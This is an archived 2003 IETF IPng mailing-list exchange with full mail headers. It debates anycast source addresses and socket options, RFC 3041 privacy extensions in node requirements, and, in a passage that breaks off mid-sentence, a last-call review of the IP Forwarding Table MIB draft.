	Wed, 29 Jan 2003 15:04:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TN4WQb011352
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 15:04:32 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TN4gVL007227
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 15:04:42 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA25907
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 16:04:36 -0700 (MST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0TN4exA000711;
	Thu, 30 Jan 2003 01:04:40 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0TN4cBV000710;
	Thu, 30 Jan 2003 01:04:38 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Mark.Andrews@isc.org
Cc: Brian Haberman <bkhabs@nc.rr.com>, Pekka Savola <pekkas@netcore.fi>,
   ipng@sunroof.eng.sun.com
In-Reply-To: <200301292216.h0TMGiEN067081@drugs.dv.isc.org>
References: <200301292216.h0TMGiEN067081@drugs.dv.isc.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043881477.23050.62.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 30 Jan 2003 01:04:38 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 2003-01-30 at 00:16, Mark.Andrews@isc.org wrote:
> > On Wed, 2003-01-29 at 01:28, Mark.Andrews@isc.org wrote:
> > > 	Well you don't actually want it lifted.  You don't want a
> > > 	anycast address being used to *initiate* a transaction.
> > 
> > Why not?
> 
> 	Because the reply traffic is *not* guaranteed to go back
> 	to the same instance.  The whole point of this thread is
> 	how to make the traffic go back to the correct instance.

To achieve that one can always use a unicast source address. That is not
a reason to disallow an anycast source address. While it may not be
useful with TCP, it is not harmful to the network either. With UDP
people might even find a use for it.

> > I don't think a socket option is needed. If an application binds
> > explicitly to anything other than :: it's only fair to assume that it
> > knows what it's doing.
> 
> 	It's not a fair assumption that it knows that it is a anycast
> 	address.  Every existing application written today that allow
> 	selection of source address fails your test that it know what
> 	it is doing w.r.t. anycast addresses.

The socket option doesn't help. If an application doesn't understand
anycast addresses and tries to use one as a source address, it will fail
regardless of whether there is a socket option for it or not. It will
just fail in a different way. A new socket option would just be
unnecessary bloat, IMHO. The key thing is that automatic source address
selection must never choose an anycast address.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 16:07:02 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0U072Qb011910;
	Wed, 29 Jan 2003 16:07:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0U071mc011909;
	Wed, 29 Jan 2003 16:07:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0U06tQb011899
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 16:06:56 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0U075VK024815
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 16:07:05 -0800 (PST)
Received: from drugs.dv.isc.org (drugs.dv.isc.org [130.155.191.236])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA25612
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 17:06:57 -0700 (MST)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
	by drugs.dv.isc.org (8.12.6/8.12.6) with ESMTP id h0U06SEN067717;
	Thu, 30 Jan 2003 11:06:28 +1100 (EST)
	(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200301300006.h0U06SEN067717@drugs.dv.isc.org>
To: Mika Liljeberg <mika.liljeberg@welho.com>
Cc: Brian Haberman <bkhabs@nc.rr.com>, Pekka Savola <pekkas@netcore.fi>,
   ipng@sunroof.eng.sun.com
From: Mark.Andrews@isc.org
Subject: Re: a few comments on anycast mechanisms 
In-reply-to: Your message of "30 Jan 2003 01:04:38 +0200."
             <1043881477.23050.62.camel@devil> 
Date: Thu, 30 Jan 2003 11:06:28 +1100
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> On Thu, 2003-01-30 at 00:16, Mark.Andrews@isc.org wrote:
> > > On Wed, 2003-01-29 at 01:28, Mark.Andrews@isc.org wrote:
> > > > 	Well you don't actually want it lifted.  You don't want a
> > > > 	anycast address being used to *initiate* a transaction.
> > > 
> > > Why not?
> > 
> > 	Because the reply traffic is *not* guaranteed to go back
> > 	to the same instance.  The whole point of this thread is
> > 	how to make the traffic go back to the correct instance.
> 
> To achieve that one can always use a unicast source address. That is not
> a reason to disallow an anycast source address. While it may not be
> useful with TCP, it is not harmful to the network either. With UDP
> people might even find a use for it.

	So you don't find bogus traffic a harm to the network.  I
	presume you also don't find one-way firewalls a harm to the
	network.  I can assure you that the sites on the end of one
	way streams *do* find it harmful.  It results in big pipes
	being required to sustain service levels for legitimate
	traffic.  It results in additional machines being required
	to service the load.  There is a real money cost to this.

	No one packet won't harm the net.  The harm is done when
	it is multiplied by the thousands or millions.
 
> > > I don't think a socket option is needed. If an application binds
> > > explicitly to anything other than :: it's only fair to assume that it
> > > knows what it's doing.
> > 
> > 	It's not a fair assumption that it knows that it is a anycast
> > 	address.  Every existing application written today that allow
> > 	selection of source address fails your test that it know what
> > 	it is doing w.r.t. anycast addresses.
> 
> The socket option doesn't help. If an application doesn't understand
> anycast addresses and tries to use one as a source address, it will fail
> regardless of whether there is a socket option for it or not.

	No it will work intermittently depending apon the number
	of anycast instances and the topological relationships of
	the end points.  If it doesn't work you will get timeouts
	/ connection failures.  It will be difficult to diagnose
	the problems unless you realise that you are dealing with
	a anycast address and take appropriate steps to deal with
	it.

	For example named allows you to specify a query source
	address.  As a developer I want hard failures to occur if
	a anycast address is used here accidently.  I don't want
	all of the millions of existing copies of named to be able
	to anycast addresses to source packets without being upgraded.
	It will lead to a support nightmare that will exist for
	years.  I also want to be able to identify a anycast address
	when I scan the list of addresses on the machine (FreeBSD
	has IN6_IFF_ANYCAST).

	Without a socket option you are handing people a loaded gun
	with the safety off.  At least make it a loaded gun with the
	safety on.  They then have to do something deliberate before
	they shoot themselves in the foot.

	Also by allowing by allowing traffic to be sourced from a
	anycast address without a socket option you are violating
	the principal of least astonishment.  The exist stack *do*
	block this so current applications may depend on it.

	Mark

> It will
> just fail in a different way. A new socket option would just be
> unnecessary bloat, IMHO. The key thing is that automatic source address
> selection must never choose an anycast address.
> 
> 	MikaL
--
Mark Andrews, Internet Software Consortium
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark.Andrews@isc.org
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 22:30:30 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0U6UTQb013645;
	Wed, 29 Jan 2003 22:30:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0U6UTBY013644;
	Wed, 29 Jan 2003 22:30:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0U6UQQb013637
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 22:30:26 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0U6UZVL025946
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 22:30:36 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA29643
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 23:30:29 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0U6UKl13971;
	Thu, 30 Jan 2003 08:30:20 +0200
Date: Thu, 30 Jan 2003 08:30:19 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Mark.Andrews@isc.org
cc: Mika Liljeberg <mika.liljeberg@welho.com>,
   Brian Haberman <bkhabs@nc.rr.com>, <ipng@sunroof.eng.sun.com>
Subject: Re: a few comments on anycast mechanisms 
In-Reply-To: <200301300006.h0U06SEN067717@drugs.dv.isc.org>
Message-ID: <Pine.LNX.4.44.0301300825420.13831-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 30 Jan 2003 Mark.Andrews@isc.org wrote:
> > The socket option doesn't help. If an application doesn't understand
> > anycast addresses and tries to use one as a source address, it will fail
> > regardless of whether there is a socket option for it or not.
> 
> 	No it will work intermittently depending apon the number
> 	of anycast instances and the topological relationships of
> 	the end points.  If it doesn't work you will get timeouts
> 	/ connection failures.  It will be difficult to diagnose
> 	the problems unless you realise that you are dealing with
> 	a anycast address and take appropriate steps to deal with
> 	it.
> 
> 	For example named allows you to specify a query source
> 	address.  As a developer I want hard failures to occur if
> 	a anycast address is used here accidently.  I don't want
> 	all of the millions of existing copies of named to be able
> 	to anycast addresses to source packets without being upgraded.
> 	It will lead to a support nightmare that will exist for
> 	years.  I also want to be able to identify a anycast address
> 	when I scan the list of addresses on the machine (FreeBSD
> 	has IN6_IFF_ANYCAST).
> 
> 	Without a socket option you are handing people a loaded gun
> 	with the safety off.  At least make it a loaded gun with the
> 	safety on.  They then have to do something deliberate before
> 	they shoot themselves in the foot.
> 
> 	Also by allowing by allowing traffic to be sourced from a
> 	anycast address without a socket option you are violating
> 	the principal of least astonishment.  The exist stack *do*
> 	block this so current applications may depend on it.

I believe this is a problem only when explicitly binding to a specific 
address.

Based on that, one must ask how the user has come up with that particular 
(anycast) address.  

By manual configuration?  You can always shoot yourself in the foot.

By getifaddrs() or similar mechanism, employed to get all the addresses of
a node?  Perhaps there should be a knob there, to return only "safe"  
addresses.  But these seem to be outside of the IETF turf..

Note that there has been a proposal for anycast address API: to request an 
address, you "join" a group with an API like joining a multicast group.  
Anycast addresses would not typically be assigned on interfaces.  This 
would also eliminate this particular problem.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 30 01:05:16 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0U95GQb014109;
	Thu, 30 Jan 2003 01:05:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0U95Fkc014108;
	Thu, 30 Jan 2003 01:05:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from jurassic.eng.sun.com (jurassic [129.146.17.55])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0U95BQb014101
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 01:05:11 -0800 (PST)
Received: from shubho (shubho.Eng.Sun.COM [129.146.85.207])
	by jurassic.eng.sun.com (8.12.8+Sun/8.12.8) with SMTP id h0U95IEK599972;
	Thu, 30 Jan 2003 01:05:18 -0800 (PST)
Message-Id: <200301300905.h0U95IEK599972@jurassic.eng.sun.com>
Date: Thu, 30 Jan 2003 01:05:24 -0800 (PST)
From: Samita Chakrabarti <Samita.Chakrabarti@eng.sun.com>
Reply-To: Samita Chakrabarti <Samita.Chakrabarti@eng.sun.com>
Subject: RE: Node Requirements and 3041
To: john.loughney@nokia.com
Cc: ipng@sunroof.eng.sun.com, brian@hursley.ibm.com,
   Francis.Dupont@enst-bretagne.fr, alain.durand@Sun.COM
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: pPKCivVttEaf6eEGYA36fg==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.6_24 SunOS 5.10 sun4u sparc 
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



> > I agree, after re-reading the formal definitions in RFC 2119. And I
> > don't think we need any discussion text; the implications are already
> > covered in 3041. 
> > 
> > The default can be left to the vendor IMHO.
> 
> I agree.  I have added the text:
> 
>    Privacy Extensions for Stateless Address Autoconfiguration [RFC-3041] 
>    SHOULD be supported.  It is recommended that node behavior be configurable 
>    when they are available.
> 

In the last sentence, did you mean to say that the node should have a 
configuration knob whether to turn on privacy extension behavior ?

If so,  would it be clearer to say something like the following ?

'It is recommended that the node be configurable to turn on/off
the privacy extension for stateless address autoconfiguration, when
it is implemented.' 

Otherwise, as Alain mentioned, it's up to the application and system-default
configuration to use temporary or public address for a connection.
We have discussed about possible socket API solution for source address
selection on per-socket basis. A draft is in plan for that.

-Samita

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 30 02:25:22 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0UAPLQb014797;
	Thu, 30 Jan 2003 02:25:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0UAPL5P014796;
	Thu, 30 Jan 2003 02:25:21 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0UAPIQb014789
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 02:25:18 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0UAPQVL001843
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 02:25:26 -0800 (PST)
Received: from mail2.it.kth.se (mail2.it.kth.se [130.237.212.132])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA16091;
	Thu, 30 Jan 2003 02:25:19 -0800 (PST)
Received: from dhcp-204.ssvl.kth.se (dhcp-204.ssvl.kth.se [192.16.125.204])
	by mail2.it.kth.se (8.11.6/8.11.6) with ESMTP
	id h0UAPEJ08717;
	Thu, 30 Jan 2003 11:25:14 +0100 (MET)
Date: Thu, 30 Jan 2003 11:24:14 +0100 (CET)
From: Alberto Escudero-Pascual <aep@it.kth.se>
X-X-Sender:  <aep@qwerty.ssvl.kth.se>
To: Alain Durand <Alain.Durand@Sun.COM>
cc: <john.loughney@nokia.com>, <brian@hursley.ibm.com>,
   <Francis.Dupont@enst-bretagne.fr>, <ipng@sunroof.eng.sun.com>
Subject: Re: Node Requirements and 3041
In-Reply-To: <AA0C7F32-33AE-11D7-8514-00039376A6AA@sun.com>
Message-ID: <Pine.LNX.4.33.0301301116170.18535-100000@qwerty.ssvl.kth.se>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> Using RFC3041-type addresses is IMHO not a property of node,
> not a property of user context, and not even a property of applications.
> This is a property of the specific connections within each application.

I agree, privacy is the claim of user to determine for him or herself when
and how and what extent certain information is communicated to others
(Westin dixit). I will be very happy to see RFC3041-capability "always"
built-in  and an application driven/user driven socket option
to enable the use that kind of addresses.

/aep
> I think some of this discussion should be capture in the node
> requirement document.
>
> 	- Alain.
>
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
>

-- 
--------------------------------------------------------------------------
 "To invent, you need a good imagination and a pile of junk"
					 -- Thomas Alva Edison (1847-1931)


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 30 21:13:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0V5DOQb019803;
	Thu, 30 Jan 2003 21:13:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0V5DNoS019802;
	Thu, 30 Jan 2003 21:13:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0V5DKQb019795
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 21:13:20 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0V5DTVL000482
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 21:13:29 -0800 (PST)
Received: from shell4.bayarea.net (shell4.BAYAREA.NET [209.128.82.1])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA29281
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 21:13:24 -0800 (PST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id VAA11784;
	Thu, 30 Jan 2003 21:13:23 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
Date: Thu, 30 Jan 2003 21:13:22 -0800 (PST)
From: "C. M. Heard" <heard@pobox.com>
X-Sender: heard@shell4.bayarea.net
To: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
In-Reply-To: <5.1.0.14.2.20030116160908.03179010@mail.windriver.com>
Message-ID: <Pine.LNX.4.10.10301300806190.13443-100000@shell4.bayarea.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

[ Note:  mibs@ops.ietf.org and diffserv@ietf.org have been bcc'd.
  Please direct followup discussion to ipng@sunroof.eng.sun.com  ]

On Thu, 16 Jan 2003, Bob Hinden wrote:
> This is a IPv6 working group last call for comments on advancing the
> following document as a Proposed Standard:
> 
>          Title           : IP Forwarding Table MIB
>          Author(s)       : M. Wasserman
>          Filename        : draft-ietf-ipv6-rfc2096-update-02.txt
>          Pages           : 30
>          Date            : 2002-11-7
> 
> Please send substantive comments to the ipng mailing list, and minor
> editorial comments to the document editor.  This last call period will
> end on January 30, 2003.

Thanks to Margaret Wasserman and Bob Hinden for forwarding this
last-call notice to the mibs@ops.ietf.org mailing list.  There
are three major issues upon which I would like to comment in this
message.  Minor comments (documentation nits and mib-doctor stuff)
will be dealt with in a separate message.

The major technical issues are these:

1.)  Appropriateness of using DSCP (differentiated services code
point) as a forwarding table index.

2.)  Appropriateness of offering only a full compliance statement
when all reported implementations of the predecessor MIB (RFC 2096)
provide just read-only access.

3.)  MIB changes that appear either to be gratuitous (replacing
ipRouteDiscards with inetCidrRouteDiscards) or erroneous
(not providing inetCidrRouteNumber) and which are inconsistent
with the text of Section 8.


Issue #1:  Appropriateness of using DSCP as forwarding table index
---------  -------------------------------------------------------

Synopsis:  I question the appropriateness of using the DSCP field
to represent routing policy, and I recommend replacing the
inetCidrRouteDscp object with a more generic inetCidrRoutePolicy
object.  I suggest that its SYNTAX be OBJECT IDENTIFIER for ease
of administration, but an integer-valued object could in principle
be made to serve the purpose.

Discussion:  in order to exhibit the proposed index structure
for the inetCidrRouteTable and to compare it with that of the
ipCidrRouteTable which it replaces, it is helpful to reproduce
the definition of inetCidrRouteEntry:

  inetCidrRouteEntry OBJECT-TYPE
      SYNTAX     InetCidrRouteEntry
      MAX-ACCESS not-accessible
      STATUS     current
      DESCRIPTION
             "A particular route to a particular destination, under a
              particular policy."
      INDEX {
          inetCidrRouteDestType,
          inetCidrRouteDest,
          inetCidrRoutePfxLen,
          inetCidrRouteDscp,
          inetCidrRouteNextHopType,
          inetCidrRouteNextHop
          }
      ::= { inetCidrRouteTable 1 }

This is intended to replace ipCidrRouteEntry, whose definition is:

  ipCidrRouteEntry OBJECT-TYPE
      SYNTAX   IpCidrRouteEntry
      ACCESS   not-accessible
      STATUS   current
      DESCRIPTION
         "A particular route to  a  particular  destina-
         tion, under a particular policy."
      INDEX {
          ipCidrRouteDest,
          ipCidrRouteMask,
          ipCidrRouteTos,
          ipCidrRouteNextHop
          }
      ::= { ipCidrRouteTable 1 }

The intended mapping is clear:

ipCidrRouteDest    -> <inetCidrRouteDestType, inetCidrRouteDest>
ipCidrRouteMask    -> inetCidrRoutePfxLen
ipCidrRouteTos     -> inetCidrRouteDscp
ipCidrRouteNextHop -> <inetCidrRouteNextHopType, inetCidrRouteNextHop>

It is obvious that ipCidrRouteDest, ipCidrRouteMask, and
ipCidrRouteNextHop are being replaced with generalized objects
that carry equivalent semantics but accomodate both IPv4 and
IPv6 addresses, and I have no issue with that.  The replacement
objects are indeed the "minimal change" replacements that they
were intended to be.

However, I do NOT think that inetCidrRouteDscp can be considered
a semantic equivalent to ipCidrRouteTos.  What ipCidrRouteTos
represented was the now-deprecated 4-bit Type of Service field,
i.e., the DTRC bits (bits 3-6 of the TOS octet) defined in RFC
791 and RFC 1349.  Note that it _excludes_ the three-bit Precedence
field (bits 0-2 of the TOS octet).  The TOS field had special
support in routing protocols, notably early versions of OSPF, and
was specifically intended to be used as a route selector.  The
Precedence field, however, had no such role.  Now, if I correctly
understand what I have read in RFC 2474 Section 4, the role played
by the DSCP field is a generalization of that the Precedence field
and maintains some backward compatibility with it, but it is in no
sense analogous to the old TOS field (DTRC bits).  For this reason
inetCidrRouteDscp does not qualify as a "minimal change" replacement
for ipCidrRouteTos.

The next question to ask is whether inetCidrRouteDscp would, in
fact, be sufficiently useful in the general case to merit its
inclusion as an index in the inetCidrRouteTable.  I'm inclined
to think that it does not.  RFC 3290, Diffserv Informal
Management Model, says this:

  The routing core moves packets between interfaces according to
  policies outside the scope of Diffserv (note: it is possible
  that such policies for output-interface selection might involve
  use of packet fields such as the DSCP but this is outside the
  scope of this model).

In other words, the DSCP field _might_ be used as _one_ of the
criteria for choosing a next hop interface, but there is no
explicit specification of a privileged role for it in route
selection policy (in sharp contrast to the old TOS field).

Last October the following message appeared in the thread
"[ipv6mib] So, where were we?" that seems to suggest a
much better alternative:

On Wed, 9 Oct 2002, Dave Thaler wrote:
> The intermediate solution previously discussed by the ipv6mib
> design team was to add an instance number to the INDEX,
> and have separate mapping tables describe how to interpret
> (or map to) the instance number.  Such mapping tables could
> be part of the same MIB, or part of a proprietary MIB
> (or both).  This is the solution I prefer, modulo my response
> to Margaret's next suggestion below, since it entails only
> a small change from 2096 (just replace TOS field with a more
> generic instance number).

I see in the change log that an inetCidrRouteInstance object
used to exist but was removed 27 Jun 2002 on the grounds that
it was "obviated by new InetAddress types and inclusion of DSCP
index object".  It was not a bad idea to reinstate the InetAddress
(and InetAddressType) objects, but I think that including the DSCP
object was a mistake, and that it should be replaced with a more
generic object, per Mr. Thaler's suggestion above.  Its name
should probably be inetCidrRoutePolicy, and it should either be
a generic intger-valued object, with a definition along the lines
of the (now-obsolete) ipForwardPolicy object, or else an OBJECT
IDENTIFIER object.  The tradeoff is basically one of ease of
administration versus implementation complexity.  Since one of
the stated objectives of this effort is to get something quickly
that can be extended later, I would suggest the OBJECT IDENTIFIER
approach;  it does not require central administration, and allows
proprietary policies to be represented if one so desires.  A first
cut at a definition might be:

  inetCidrRoutePolicy OBJECT-TYPE
      SYNTAX     OBJECT IDENTIFIER
      MAX-ACCESS not-accessible
      STATUS     current
      DESCRIPTION
             "Represents the general set of conditions that would
              cause the selection of one multipath route (set of next
              hops for a given destination) over another (referred to
              as 'policy').  The value { 0 0 } shall be used for the
              the default policy or if no particular policy applies."
      ::= { inetCidrRouteEntry 4 }

Now, when inetCidrRouteDest and inetCidrRouteNextHop represent
IPv6z addresses, they have a maximum length of 20 octets, and
smilint tells me that inetCidrRoutePolicy could then have up to
71 components before the limit of 128 sub-identifiers for instance
OIDs is reached.  So I don't think that the length would be an
issue (one might, however, wish to re-think the current size cap
of 36 octets for inetCidrRouteDest and inetCidrRouteNextHop).

Note that one could accomodate both TOS and DSCP based routing
policies in this scheme by defining an OID prefix (e.g., via
an OBJECT-IDENTITY invocation) and appending the TOS or DSCP
value as the last sub-identifier.  But much more general schemes
could be dealt with as well, and they could be defined later,
when the issues are better understood.  My recommendation would
actually be to NOT define any schemes other than "default", which
would use the null OID { 0 0 };  since the ipCidrTos is zero in
almost all implementations (otherwise we would not have had DSCPs
in the first place), that would probably accomodate all important
uses of the ipCidrRouteTable.


Issue #2:  Appropriateness of offering only a "full" compliance
---------  ----------------------------------------------------

Synopsis:  previous discussions revealed no knowledge of
read-write implementations of the ipCidrRouteTable.  I
don't see that there is any reason to believe that the
inetCidrRouteTable won't have the same fate, so I suggest
that we "take the hint" and write a compliance statement
that allows read-only access and subsetting of the
InetAddressType variables to whatever flavors of IP the
implementation actually supports (since these are indices,
that has to be done via DESCRIPTION clauses).

Discussion:  Last October the following message appeared in the
e-mail thread "[ipv6mib] So, where were we?", and it gives a hint
as to how the ipCidrRouteTable is actually implemented in practice:

On Wed, 9 Oct 2002, Brian Haberman wrote:
> Margaret Wasserman wrote:
> > 
> > Yes, but none of this really gets us closer to an answer to the
> > really important questions:
> > 
> >         - Do people actually implement RFC 2096 today?
> >                 - If so, are the implementations writable?
> > 
> > [I personally know of several implementations of RFC 2096, but
> > none of them are writable.]
> 
> I do not know any that are writable either.
> 
> > 
> >         - Does anyone actually use RFC 2096 to manage,
> >                 monitor, configure or debug a box?
> >                 - If so, how and for what?
> 
>  From what I have been able to gather, no one with a "large" route
> table ever uses 2096 to pull it down.  This seems to be for
> various reasons[0].
> 
> Some admins will query the table for specific routes to ensure
> they exist.  This is done during problem determination mode.

As it happens, I have implemented the ipCidrRouteTable on a
small end system, and I, too, chose to make it read-only.  Its
only real use on that system was for inspecting the route cache,
and it certainly was not worth the very considerable effort that
it would have taken to implement the machinery necessary to
support add/delete/modify of route cache entries with SNMP.
I strongly suspect that the same thing will be true of a fair
number of implementations of the new inetCidrRouteTable;
certainly, I see no reason for believing that the situation
will be different than it was for the ipCidrRouteTable.

Nonetheless, the compliance statements as written render a
read-only implementation non-conformant, and because there
are no provisions in the index column DESCRIPTION clauses
that allow an implementation to support only a subset of
the InetAddressType values, a full read-create implementation
would technically have to support all possible address types.

The suggested remedy is to add OBJECT clauses to the
ipForwardCompliance2 statement that permit MIN-ACCESS of
read-only to all columnar objects and a SYNTAX of INTEGER
